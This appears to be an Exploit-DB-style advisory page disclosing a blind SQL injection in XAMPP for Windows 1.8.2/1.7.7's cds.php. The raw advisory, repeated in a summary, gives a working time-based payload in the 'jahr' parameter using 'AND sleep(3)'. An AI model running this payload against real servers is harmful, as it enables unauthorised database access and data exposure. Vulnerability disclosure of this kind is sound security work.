XAMPP for Windows 1.8.2 Blind Sql Injection

vendor:

XAMPP

by:

Sebastián Magof

8,8

CVSS

HIGH

Blind SQL Injection

CWE

Product Name: XAMPP

Affected Version From: 1.8.2

Affected Version To: 1.7.7

Patch Exists: N/A

Related CWE: N/A

CPE: a:apache:xampp

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2013

XAMPP for Windows 1.8.2 Blind Sql Injection

XAMPP is a platform-independent server, free software, which mainly consists of the MySQL database, the Apache web server and interpreters for scripting languages: PHP and Perl. An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of the database and/or expose sensitive information. The vulnerable file is cds.php and the parameter is 'jahr='. The exploit is http://127.0.0.1/xampp/cds.php?jahr=1967 AND sleep(3)&interpret=1&titel=555-666-0606

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query.

Source

Exploit-DB raw data:

# Exploit Title: XAMPP for Windows 1.8.2 Blind Sql Injection
# Date: 2013/10/28
# Exploit Author: Sebastián Magof
# Vendor Homepage: apachefriends.org
# Software Link: apachefriends.org/en/xampp-windows.html
# Version:1.8.2/1.7.7
# Tested on: Windows
# Twitter: @smagof
#Greetz: Family, Friends && Under guys;
#Special Greetz: My Alpha (:


#Description:XAMPP is a platform-independent server, free software, which
mainly consists of the MySQL database, the Apache web server and
interpreters for scripting languages: PHP and Perl. The name comes from
the acronym for X, Apache, MySQL, PHP, Perl.


#Sql-Injection: An attacker may execute arbitrary SQL statements on the
vulnerable system. This may compromise the integrity of your database
and/or expose sensitive information.
#Vulnerable file: cds.php
#Parameter: "jahr="

#Exploit:
http://127.0.0.1/xampp/cds.php?jahr=1967 AND
sleep(3)&interpret=1&titel=555-666-0606



# (\/)
# (**)
#(")(")